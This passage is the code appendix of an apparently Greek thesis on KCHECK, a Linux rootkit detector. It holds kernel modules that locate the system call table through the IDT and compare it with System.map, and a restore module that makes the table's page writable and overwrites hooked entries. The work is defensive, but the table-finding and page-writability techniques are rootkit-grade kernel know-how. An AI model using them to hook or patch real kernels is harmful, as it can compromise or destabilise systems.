30   } __attribute__ ((packed)) idtr;

32   struct {
       unsigned short offset_low;
34     unsigned short seg_selector;
       unsigned char none,flags;
36     unsigned short offset_high;
     } __attribute__ ((packed)) idt;
38



40   void *find_token(unsigned char *str, int len,unsigned char *token)
     {
42     int i;
       for (i = 0; i < len - 1; i++) {
44       if (str[i] == token[0] && str[i+1] == token[1] && str[i+2] == token[2])


     120
                                                                    B.2. ΚΩΔΙΚΑΣ KCHECK


             return &str[i];
46       }
         return NULL;
48   }

50   unsigned long *find_sct_via_idt(void)
     {
52

         long system_call_addr = 0;
54       unsigned long *sctable;

56       // ask processor for interrupt discriptor table
         __asm__ volatile(”sidt %0” : ”=m” (idtr));
58

         /*
60       * This returns a pointer to the Interrupt Descriptor of the System Call
         * (system_call) function (int $0x80)
62       */
         memcpy(&idt,(void *)idtr.base+sizeof(idt)*0x80,sizeof(idt));
64

         /*
66       * We now compute the address of the System Call function within kernel
         * memory, using the offset_high and offset_low fields of the Interrupt
68       * Descriptor
         */
70       system_call_addr = idt.offset_low | (idt.offset_high << 16);

72     if (system_call_addr)
       {
74       char *result;
         /*
76       * We now have the address of the system_call function. We can see it’s
         * code in entry.S file We will look for the call
78       * sys_call_table_addr(,%eax,4) assembly code inside this function
         * This code contains the sys_call_table address we are looking for.
80       */
         result = (char*)find_token( (void *)system_call_addr,
82   READ_ASM, ”\xff\x14\x85”);

84         sctable=(void*)*(unsigned long *)(result+3);
           return sctable;
86       }
         else
88       {


                                                                                   121
      ΠΑΡΑΡΤΗΜΑ B. ΠΑΡΑΡΤΗΜΑ B


              printk(”Unable to read IDT.\n”);
90            return 0;
          }
92    }

94    static int __init get_calls(void)
      {
96      mm_segment_t fs;
        unsigned long **sys_call_table = (unsigned long
98    **)system_call_table_addr;
        unsigned long *sct_by_idt;
100     int i;
        struct file *tmpfile; /* domi tipou file */
102     char *buffer;
        buffer = kmalloc(64, GFP_KERNEL);
104

          sct_by_idt=find_sct_via_idt();
106

        if ((void*)sct_by_idt != sys_call_table)
108     {
          printk(”The address for System Call Table that we have determined\
110   using the IDT of the system does not match the one we have found on the\
      system call table. A rootkit may exist in the system.\n”);
112     }

114       /* apothikefsi proigoumenis timis tou fs */
          fs = get_fs();
116

          /* xrisi oriou tou pirina */
118       set_fs(get_ds());

120       tmpfile = filp_open(TMPFILE, O_TRUNC|O_CREAT|O_WRONLY, 0644);
          memset((char *)buffer, 0, 64);
122

          for (i = 0; i < SYSCALLS_MAX; i++)
124       {
            sprintf(buffer, ”%p\n”, (void *)sys_call_table[i]);
126

      // if((void *)sys_call_table[i]==0) break;
128   // printk(”buffer: ’%s’, (void*)sys_call_table[%d] is
      // ’%p’\n”,buffer,i,(void *)sys_call_table[i]);
130

              if(strcmp(buffer,”c0000000\n”)<0) break;
132           tmpfile->f_op->write(tmpfile, (char *)buffer, 9, &tmpfile->f_pos);


      122
                                                                    B.2. ΚΩΔΙΚΑΣ KCHECK


            memset((char *)buffer, 0, 64);
134       }
          filp_close(tmpfile, NULL);
136

          /* epanafora tou fs prin epistrepsoume se user space */
138       set_fs(fs);
          kfree(buffer);
140       return 0;
      }
142

      static void __exit exit_module(void)
144   {
        return;
146   }

148   module_init(get_calls);
      module_exit(exit_module);

             Απόσπασμα κώδικα B.5: Το άρθρωμα εύρεσης στοιχείων του πυρήνα

           Ακολουθεί ο κώδικας του προγράμματος ελέγχου των στοιχείων του πυρήνα
      (αρχείο query.c).
  1   /*
      * This program compares the two system map files
 3    */

 5    #include   <stdio.h>
      #include   <string.h>
 7    #include   <stdlib.h>
      #include   <unistd.h>
 9

      #define SYSCALLS_MAX 350
 11   // To arxeio afto dimiourgitai apo to module (find_calls.ko) kai periexei
      // tis diefthinseis twnklisewn ston pirina (me ti seira)
 13   #define KERNADDRESSESFILE ”/tmp/.kcheck_CallAddrFound”
      // To arxeio afto exei dimiourgithei apo to script kai periexei tis kliseis
 15   // sistimatos tou System.map (xwris seira)
      #define ONDISKMAP ”/tmp/.kcheck_DiskSystemMap”
 17   // To arxeio afto tha dimiourgithei kai tha einai san ena System.map me tis
      // kliseis ston pirina (me ti seira)
 19   #define ONKERNMAP ”/tmp/.kcheck_KernSystemMap”
      // To arxeio afto tha dimiourgithei an iparxoun hooked kliseis kai tha tis
 21   // katagrapsei
      #define SYSFIX ”/tmp/.kcheck_SyscallsToFix”


                                                                                  123
     ΠΑΡΑΡΤΗΜΑ B. ΠΑΡΑΡΤΗΜΑ B


23

     char * call_names_sorted[] = {
25     ”sys_restart_syscall”,
       ”sys_exit”,
27     ”sys_fork”,
       ”sys_read”,
29     ”sys_write”,
       ”sys_open”,
31     ”sys_close”,
       ”sys_waitpid”,
33     ”sys_creat”,
       ”sys_link”,
35     ”sys_unlink”,
       ”sys_execve”,
37     ”sys_chdir”,
       ”sys_time”,
39     ”sys_mknod”,
       ”sys_chmod”,
41     ”sys_lchown16”,
       ”sys_ni_syscall”,
43     ”sys_stat”,
       ”sys_lseek”,
45     ”sys_getpid”,
       ”sys_mount”,
47     ”sys_oldumount”,
       ”sys_setuid16”,
49     ”sys_getuid16”,
       ”sys_stime”,
51     ”sys_ptrace”,
       ”sys_alarm”,
53     ”sys_fstat”,
       ”sys_pause”,
55     ”sys_utime”,
       ”sys_ni_syscall”,
57     ”sys_ni_syscall”,
       ”sys_access”,
59     ”sys_nice”,
       ”sys_ni_syscall”,
61     ”sys_sync”,
       ”sys_kill”,
63     ”sys_rename”,
       ”sys_mkdir”,
65     ”sys_rmdir”,
       ”sys_dup”,


     124
                             B.2. ΚΩΔΙΚΑΣ KCHECK


67    ”sys_pipe”,
      ”sys_times”,
69    ”sys_ni_syscall”,
      ”sys_brk”,
71    ”sys_setgid16”,
      ”sys_getgid16”,
73    ”sys_signal”,
      ”sys_geteuid16”,
75    ”sys_getegid16”,
      ”sys_acct”,
77    ”sys_umount”,
      ”sys_ni_syscall”,
79    ”sys_ioctl”,
      ”sys_fcntl”,
81    ”sys_ni_syscall”,
      ”sys_setpgid”,
83    ”sys_ni_syscall”,
      ”sys_olduname”,
85    ”sys_umask”,
      ”sys_chroot”,
87    ”sys_ustat”,
      ”sys_dup2”,
89    ”sys_getppid”,
      ”sys_getpgrp”,
91    ”sys_setsid”,
      ”sys_sigaction”,
93    ”sys_sgetmask”,
      ”sys_ssetmask”,
95    ”sys_setreuid16”,
      ”sys_setregid16”,
97    ”sys_sigsuspend”,
      ”sys_sigpending”,
99    ”sys_sethostname”,
      ”sys_setrlimit”,
101   ”sys_old_getrlimit”,
      ”sys_getrusage”,
103   ”sys_gettimeofday”,
      ”sys_settimeofday”,
105   ”sys_getgroups16”,
      ”sys_setgroups16”,
107   ”old_select”,
      ”sys_symlink”,
109   ”sys_lstat”,
      ”sys_readlink”,


                                           125
      ΠΑΡΑΡΤΗΜΑ B. ΠΑΡΑΡΤΗΜΑ B


111     ”sys_uselib”,
        ”sys_swapon”,
113     ”sys_reboot”,
        ”old_readdir”,
115     ”old_mmap”,
        ”sys_munmap”,
117     ”sys_truncate”,
        ”sys_ftruncate”,
119     ”sys_fchmod”,
        ”sys_fchown16”,
121     ”sys_getpriority”,
        ”sys_setpriority”,
123     ”sys_ni_syscall”,
        ”sys_statfs”,
125     ”sys_fstatfs”,
        ”sys_ioperm”,
127     ”sys_socketcall”,
        ”sys_syslog”,
129     ”sys_setitimer”,
        ”sys_getitimer”,
131     ”sys_newstat”,
        ”sys_newlstat”,
133     ”sys_newfstat”,
        ”sys_uname”,
135     ”sys_iopl”,
        ”sys_vhangup”,
137     ”sys_ni_syscall”,
        ”sys_vm86old”,
139     ”sys_wait4”,
        ”sys_swapoff”,
141     ”sys_sysinfo”,
        ”sys_ipc”,
143     ”sys_fsync”,
        ”sys_sigreturn”,
145     ”sys_clone”,
        ”sys_setdomainname”,
147     ”sys_newuname”,
        ”sys_modify_ldt”,
149     ”sys_adjtimex”,
        ”sys_mprotect”,
151     ”sys_sigprocmask”,
        ”sys_ni_syscall”,
153     ”sys_init_module”,
        ”sys_delete_module”,


      126
                                      B.2. ΚΩΔΙΚΑΣ KCHECK


155   ”sys_ni_syscall”,
      ”sys_quotactl”,
157   ”sys_getpgid”,
      ”sys_fchdir”,
159   ”sys_bdflush”,
      ”sys_sysfs”,
161   ”sys_personality”,
      ”sys_ni_syscall”,
163   ”sys_setfsuid16”,
      ”sys_setfsgid16”,
165   ”sys_llseek”,
      ”sys_getdents”,
167   ”sys_select”,
      ”sys_flock”,
169   ”sys_msync”,
      ”sys_readv”,
171   ”sys_writev”,
      ”sys_getsid”,
173   ”sys_fdatasync”,
      ”sys_sysctl”,
175   ”sys_mlock”,
      ”sys_munlock”,
177   ”sys_mlockall”,
      ”sys_munlockall”,
179   ”sys_sched_setparam”,
      ”sys_sched_getparam”,
181   ”sys_sched_setscheduler”,
      ”sys_sched_getscheduler”,
183   ”sys_sched_yield”,
      ”sys_sched_get_priority_max”,
185   ”sys_sched_get_priority_min”,
      ”sys_sched_rr_get_interval”,
187   ”sys_nanosleep”,
      ”sys_mremap”,
189   ”sys_setresuid16”,
      ”sys_getresuid16”,
191   ”sys_vm86”,
      ”sys_ni_syscall”,
193   ”sys_poll”,
      ”sys_nfsservctl”,
195   ”sys_setresgid16”,
      ”sys_getresgid16”,
197   ”sys_prctl”,
      ”sys_rt_sigreturn”,


                                                    127
      ΠΑΡΑΡΤΗΜΑ B. ΠΑΡΑΡΤΗΜΑ B


199     ”sys_rt_sigaction”,
        ”sys_rt_sigprocmask”,
201     ”sys_rt_sigpending”,
        ”sys_rt_sigtimedwait”,
203     ”sys_rt_sigqueueinfo”,
        ”sys_rt_sigsuspend”,
205     ”sys_pread64”,
        ”sys_pwrite64”,
207     ”sys_chown16”,
        ”sys_getcwd”,
209     ”sys_capget”,
        ”sys_capset”,
211     ”sys_sigaltstack”,
        ”sys_sendfile”,
213     ”sys_ni_syscall”,
        ”sys_ni_syscall”,
215     ”sys_vfork”,
        ”sys_getrlimit”,
217     ”sys_mmap2”,
        ”sys_truncate64”,
219     ”sys_ftruncate64”,
        ”sys_stat64”,
221     ”sys_lstat64”,
        ”sys_fstat64”,
223     ”sys_lchown”,
        ”sys_getuid”,
225     ”sys_getgid”,
        ”sys_geteuid”,
227     ”sys_getegid”,
        ”sys_setreuid”,
229     ”sys_setregid”,
        ”sys_getgroups”,
231     ”sys_setgroups”,
        ”sys_fchown”,
233     ”sys_setresuid”,
        ”sys_getresuid”,
235     ”sys_setresgid”,
        ”sys_getresgid”,
237     ”sys_chown”,
        ”sys_setuid”,
239     ”sys_setgid”,
        ”sys_setfsuid”,
241     ”sys_setfsgid”,
        ”sys_pivot_root”,


      128
                                 B.2. ΚΩΔΙΚΑΣ KCHECK


243   ”sys_mincore”,
      ”sys_madvise”,
245   ”sys_getdents64”,
      ”sys_fcntl64”,
247   ”sys_ni_syscall”,
      ”sys_ni_syscall”,
249   ”sys_gettid”,
      ”sys_readahead”,
251   ”sys_setxattr”,
      ”sys_lsetxattr”,
253   ”sys_fsetxattr”,
      ”sys_getxattr”,
255   ”sys_lgetxattr”,
      ”sys_fgetxattr”,
257   ”sys_listxattr”,
      ”sys_llistxattr”,
259   ”sys_flistxattr”,
      ”sys_removexattr”,
261   ”sys_lremovexattr”,
      ”sys_fremovexattr”,
263   ”sys_tkill”,
      ”sys_sendfile64”,
265   ”sys_futex”,
      ”sys_sched_setaffinity”,
267   ”sys_sched_getaffinity”,
      ”sys_set_thread_area”,
269   ”sys_get_thread_area”,
      ”sys_io_setup”,
271   ”sys_io_destroy”,
      ”sys_io_getevents”,
273   ”sys_io_submit”,
      ”sys_io_cancel”,
275   ”sys_fadvise64”,
      ”sys_ni_syscall”,
277   ”sys_exit_group”,
      ”sys_lookup_dcookie”,
279   ”sys_epoll_create”,
      ”sys_epoll_ctl”,
281   ”sys_epoll_wait”,
      ”sys_remap_file_pages”,
283   ”sys_set_tid_address”,
      ”sys_timer_create”,
285   ”sys_timer_settime”,
      ”sys_timer_gettime”,


                                               129
      ΠΑΡΑΡΤΗΜΑ B. ΠΑΡΑΡΤΗΜΑ B


287     ”sys_timer_getoverrun”,
        ”sys_timer_delete”,
289     ”sys_clock_settime”,
        ”sys_clock_gettime”,
291     ”sys_clock_getres”,
        ”sys_clock_nanosleep”,
293     ”sys_statfs64”,
        ”sys_fstatfs64”,
295     ”sys_tgkill”,
        ”sys_utimes”,
297     ”sys_fadvise64_64”,
        ”sys_ni_syscall”,
299     ”sys_mbind”,
        ”sys_get_mempolicy”,
301     ”sys_set_mempolicy”,
        ”sys_mq_open”,
303     ”sys_mq_unlink”,
        ”sys_mq_timedsend”,
305     ”sys_mq_timedreceive”,
        ”sys_mq_notify”,
307     ”sys_mq_getsetattr”,
        ”sys_kexec_load”,
309     ”sys_waitid”,
        ”sys_ni_syscall”,
311     ”sys_add_key”,
        ”sys_request_key”,
313     ”sys_keyctl”,
        ”sys_ioprio_set”,
315     ”sys_ioprio_get”,
        ”sys_inotify_init”,
317     ”sys_inotify_add_watch”,
        ”sys_inotify_rm_watch”,
319     ”sys_migrate_pages”,
        ”sys_openat”,
321     ”sys_mkdirat”,
        ”sys_mknodat”,
323     ”sys_fchownat”,
        ”sys_futimesat”,
325     ”sys_fstatat64”,
        ”sys_unlinkat”,
327     ”sys_renameat”,
        ”sys_linkat”,
329     ”sys_symlinkat”,
        ”sys_readlinkat”,


      130
                                              B.2. ΚΩΔΙΚΑΣ KCHECK


331     ”sys_fchmodat”,
        ”sys_faccessat”,
333     ”sys_pselect6”,
        ”sys_ppoll”,
335     ”sys_unshare”,
        ”sys_set_robust_list”,
337     ”sys_get_robust_list”,
        ”sys_splice”,
339     ”sys_sync_file_range”,
        ”sys_tee”,
341     ”sys_vmsplice”,
        ”sys_move_pages”,
343     ”sys_getcpu”,
        ”sys_epoll_pwait”,
345     ”sys_utimensat”,
        ”sys_signalfd”,
347     ”sys_timerfd_create”,
        ”sys_eventfd”,
349     ”sys_fallocate”,
        ”sys_timerfd_settime”,
351     ”sys_timerfd_gettime”,
        ”sys_signalfd4”,
353     ”sys_eventfd2”,
        ”sys_epoll_create1”,
355     ”sys_dup3”,
        ”sys_pipe2”,
357     ”sys_inotify_init1”,
        NULL
359   };

361   struct onKernel_struct
      {
363     char name[64];
        unsigned long address;
365   } call_record_onKernel[SYSCALLS_MAX];

367   struct onDisk_struct
      {
369     char name[64];
        char type;
371     unsigned long address;
      } call_record_onDisk[999];
373

      struct toRestore_struct


                                                            131
      ΠΑΡΑΡΤΗΜΑ B. ΠΑΡΑΡΤΗΜΑ B


375   {
        int syscall_number;
377     unsigned long address;
      } call_record_toRestore[SYSCALLS_MAX];
379

      int main (int argc, char **argv)
381   {
        int debug_flag = 0;
383     int count2=0,count3=0,count4=0;
        int i=0,j=0,hooked_call_count=0,toRestoreCount=0;
385     FILE *onkernaddr_f, *onkernmap_f, *ondiskmap_f, *call_fix;
        FILE *temp_file;
387     char hooked_calls[SYSCALLS_MAX][SYSCALLS_MAX];
        char erroropenstring[100]=”Error opening ”;
389     char cCurrentPath[FILENAME_MAX];

391       if (!getcwd(cCurrentPath, sizeof(cCurrentPath)))
          {
393         printf(”Error getting working directory\n”);
            return -1;
395       }

397       if (argc > 1)
            if (!strcmp(argv[1],”--debug”)) debug_flag=1;
399

            if ((onkernmap_f = fopen(ONKERNMAP, ”w”)) == NULL)
401         {
              perror(strcat(erroropenstring,ONKERNMAP));
403           exit(-1);
            }
405

            if ((ondiskmap_f = fopen(ONDISKMAP, ”r”)) == NULL)
407         {
              perror(strcat(erroropenstring,ONDISKMAP));
409           exit(-1);
            }
411

            if ((onkernaddr_f = fopen(KERNADDRESSESFILE, ”r”)) == NULL)
413         {
              perror(strcat(erroropenstring,KERNADDRESSESFILE));
415           exit(-1);
            }
417

            if(debug_flag)


      132
                                                                       B.2. ΚΩΔΙΚΑΣ KCHECK


419      {
             if ((temp_file = fopen (”temp_file.tmp”, ”w”)) == NULL)
421          {
               perror(strcat(erroropenstring,”temp_file.tmp”));
423            exit(-1);
             }
425      }

427      /*
         * Edw enwnoume ta (gnosta kai sorted) onomata twn klisewn sistimatos
429      * me tis diefthinseis pou pirame apo to find_calls module se mia domi
         * me onoma call_record_onKernel
431      */

433      if(debug_flag) printf(”***DEBUG*** count2 = %d\n”,count2);

435      for(i=0; ( !( (call_names_sorted[i]) && feof(onkernaddr_f) ) &&
           (call_names_sorted[i]) && i<SYSCALLS_MAX ) ; i++)
437      {
           strcpy(call_record_onKernel[i].name, call_names_sorted[i]);
439        fscanf(onkernaddr_f, ”%lx”, &call_record_onKernel[i].address);
         }
441      if(debug_flag) printf(”***DEBUG*** i = %d\n”,i);

443      /*
         * Edw ftiaxnoume ena arxeio paromoio me to System.map alla me tis
445      * trexouses plirofories diefthinsewn twn klisewn, me onoma
         * ONKERNMAP
447      */

449       for (count3=0; count3 < SYSCALLS_MAX; count3++)
          {
451         if(call_record_onKernel[count3].address==0) break;
            fprintf (onkernmap_f, ”%lx %s\n”,
453   call_record_onKernel[count3].address, call_record_onKernel[count3].name);
            fflush (onkernmap_f);
455       }
          if(debug_flag) printf(”***DEBUG*** grapsame to onkernmap_f (%s)\
457   (count3=%d)\n”,ONKERNMAP,count3);

459      /*
         * Edw diavazoume ta simvola apo to ONDISKMAP file to opoio exei
461      * dimiourgisei to script mas, kai periexei ta simvola toy arxeiou
         * System.map tou sistimatos ta opoia einai sxetika me tis


                                                                                    133
      ΠΑΡΑΡΤΗΜΑ B. ΠΑΡΑΡΤΗΜΑ B


463       * kliseis sistimatos (kai merika perissotera). Apothikevoume
          * afta ta stoixeia sti domi call_record_onDisk
465       */
          for (i = 0; !feof(ondiskmap_f); i++)
467       {
            fscanf (ondiskmap_f, ”%lx %s”, &call_record_onDisk[i].address,
469   call_record_onDisk[i].name);
            count4++;
471       }

473       if(debug_flag) printf(”***DEBUG*** count4 = %d\n”,count4);

475       if (debug_flag)
          {
477         for (i = 0; i < count4-1; i++)
            {
479           fprintf (temp_file, ”%lx %s\n”, call_record_onDisk[i].address,
      call_record_onDisk[i].name);
481           fflush (temp_file);
            }
483         printf(”***DEBUG*** grapsame to temp_file (temp_file.tmp)\n”);
            fclose(temp_file);
485       }

487       for(i=0;i<count4;i++)
          {
489         for(j=0;j<SYSCALLS_MAX;j++)
            {
491

      if(strcmp(call_record_onDisk[i].name,call_record_onKernel[j].name)==0)
493           {
                if(call_record_onDisk[i].address !=
495   call_record_onKernel[j].address)
                {
497               if (debug_flag) printf(”--->Call hooked!\
      record_onDisk[%d].address != record_onKernel[%d].address (0x%lx != \
499   0x%lx)\n”,i,j,call_record_onDisk[i].address,call_record_onKernel[j].address);
                  sprintf(hooked_calls[hooked_call_count], ”%d\nSystem Call name:\
501   \t\t\t\t%s\nSystem Call number:\t\t\t\t%d\nSystem call address in\
      kernel:\t\t0x%lx\nSystem Call address in\
503   System.map:\t0x%lx\n\n”,hooked_call_count+1,call_record_onKernel[j].name,j,
      call_record_onKernel[j].address, call_record_onDisk[i].address);
505               hooked_call_count++;
                  call_record_toRestore[toRestoreCount].syscall_number = j;


      134
                                                                    B.2. ΚΩΔΙΚΑΣ KCHECK


507               call_record_toRestore[toRestoreCount].address =
      call_record_onDisk[i].address;
509               toRestoreCount++;
                }
511           }
            }
513       }

515        if (hooked_call_count > 0)
           {
517          printf(”\nWarning. ”);
             printf(”kcheck found %d hooked system calls.\n”,hooked_call_count);
519          printf(”There may be a rootkit installed in this system.\n”);
             printf(”Analysis:\n”);
521

             for (i = 0; i < hooked_call_count; i++)
523            printf(”%s”,hooked_calls[i]);

525          if ((call_fix = fopen(SYSFIX, ”w”)) == NULL)
               perror(strcat(erroropenstring,SYSFIX));
527

            for (i = 0; i < toRestoreCount; i++)
529         {
              fprintf(call_fix, ”%d:0x%lx:”,
531   call_record_toRestore[i].syscall_number, call_record_toRestore[i].address);
            }
533         fclose(call_fix);
          }
535       else   {
            printf(”\nNo hooked System Calls have been found.\n”);
537         printf(”There is no rootkit installed (at least, no rootkit that uses\
      the system call table to redirect system calls)\n”);
539       }

541        fclose   (onkernaddr_f);
           fclose   (onkernmap_f);
543        fclose   (ondiskmap_f);
           return   hooked_call_count;
545   }

          Απόσπασμα κώδικα B.6: Το πρόγραμμα ελέγχου των στοιχείων του πυρήνα

          Ακολουθεί ο κώδικας του αρθρώματος αποκατάστασης του πίνακα κλήσεων
      του πυρήνα (αρχείο restore_calls.c).


                                                                                   135
     ΠΑΡΑΡΤΗΜΑ B. ΠΑΡΑΡΤΗΜΑ B


 1   /*
     * This module restores the hooked system calls to their System.map values
3    */

5    #include <linux/module.h>
     #include <asm/pgtable.h>
7    #include <asm/io.h>

9    MODULE_AUTHOR(”Giannis Kozyrakis”);
     MODULE_LICENSE(”GPL”);
11

     char *restorestr;
13   int calls_num;
     unsigned long system_call_table_addr;
15   unsigned long old_pgtable_entry;
     int sct_was_not_writable=0;
17   unsigned int *page_table, pgt_index;

19   module_param (restorestr, charp, 0000);
     module_param (calls_num, int, S_IRUSR | S_IWUSR | S_IRGRP | S_IROTH);
21   module_param (system_call_table_addr, ulong, 0644);

23   int sct_is_writable(void){
       //we test if the R/W flag is SET. If it is, so we are OK
25     if (page_table[pgt_index] & 2) {
         return 1;
27     }
       else{
29       return 0;
       }
31   }
     int make_sct_writable(void){
33     // set the second bit (R/W) to make sure the frame is writable.
       page_table[pgt_index] |= 2;
35     return 0;
     }
37   int restore_ptentry(void){
       // flip the second bit (that is R/W by now, so that it becomes Read Only)
39     page_table[pgt_index] ^= 2;
       return 0;
41   }
     unsigned long find_sct_pgtentry(unsigned long *sys_call_table)
43   {
       unsigned long old_pgdir_entry;


     136
                                                                 B.2. ΚΩΔΙΚΑΣ KCHECK


45    unsigned int *page_directory, pgd_index;
      unsigned long cr3_value, cr4_value;
47    // get current values from control registers CR3 and CR4
      cr3_value = read_cr3();
49    cr4_value = read_cr4_safe();
      // confirm that processor is using the old paging mechanism
51    if (cr4_value & X86_CR4_PAE){
        printk(”Error: Processor is using PAE.\n”);
53      return -ENOSYS;
      }
55    pgd_index = pgd_index((unsigned long)sys_call_table);
      pgt_index = pte_index((unsigned long)sys_call_table);
57    page_directory = phys_to_virt(cr3_value & ~0xFFF);
      page_table = phys_to_virt( page_directory[pgd_index] & ~0xFFF );
59

      // We save the page table entry in a variable to restore it later.
61    old_pgtable_entry = page_table[pgt_index];
      old_pgdir_entry=page_directory[pgd_index];
63

      if (old_pgtable_entry) return 1;
65    else return 0;
     }
67   static int __init restore_table(void)
     {
69     int i = 0;
       unsigned long **my_sys_call_table = (unsigned long
71   **)system_call_table_addr;

73    char *tmpstr;

75    struct scr
      {
77      unsigned long memaddr;
        int num;
79    } scr[256];

81    if (find_sct_pgtentry(my_sys_call_table)){
        // if the page is not writable, make it so
83      if (!(sct_is_writable())){
          sct_was_not_writable=1;
85        make_sct_writable();
        }
87    }




                                                                              137
      ΠΑΡΑΡΤΗΜΑ B. ΠΑΡΑΡΤΗΜΑ B


89        for (i = 0; i < calls_num; i++)
          {
91          tmpstr = strsep(&restorestr,”:”);
            scr[i].num = simple_strtol(tmpstr,NULL,10);
93          tmpstr = strsep(&restorestr,”:”);
            scr[i].memaddr = simple_strtoul(tmpstr, NULL, 16);
95

          printk(”KCHECK: sys_call_table[%d] is ’0x%p’. Restoring to \
97    ’0x%lx’\n”,scr[i].num,my_sys_call_table[scr[i].num],scr[i].memaddr);

99        my_sys_call_table[scr[i].num] = (unsigned long *)scr[i].memaddr;
          if (my_sys_call_table[scr[i].num]==(unsigned long *)scr[i].memaddr)
101       {
            printk(”KCHECK: System Call %d was restored \
103   successfully.\n”,scr[i].num);
          }
105       else
          {
107         printk(”KCHECK: FAILED: System Call %d was NOT \
      restored.\n”,scr[i].num);
109       }
        }
111     printk(”KCHECK: Restore end.\n”);
        if (sct_was_not_writable){
113       restore_ptentry();
        }
115     return 0;

117   }

119   static void __exit exit_fix(void)
      {
121     return;
      }
123

      module_init(restore_table);
125   module_exit(exit_fix);

      Απόσπασμα κώδικα B.7: Το άρθρωμα αποκατάστασης του προγράμματος
      KCHECK




      138

				
DOCUMENT INFO
Shared By:
Categories:
Tags:
Stats:
views:93
posted:5/15/2010
language:Greek
pages:154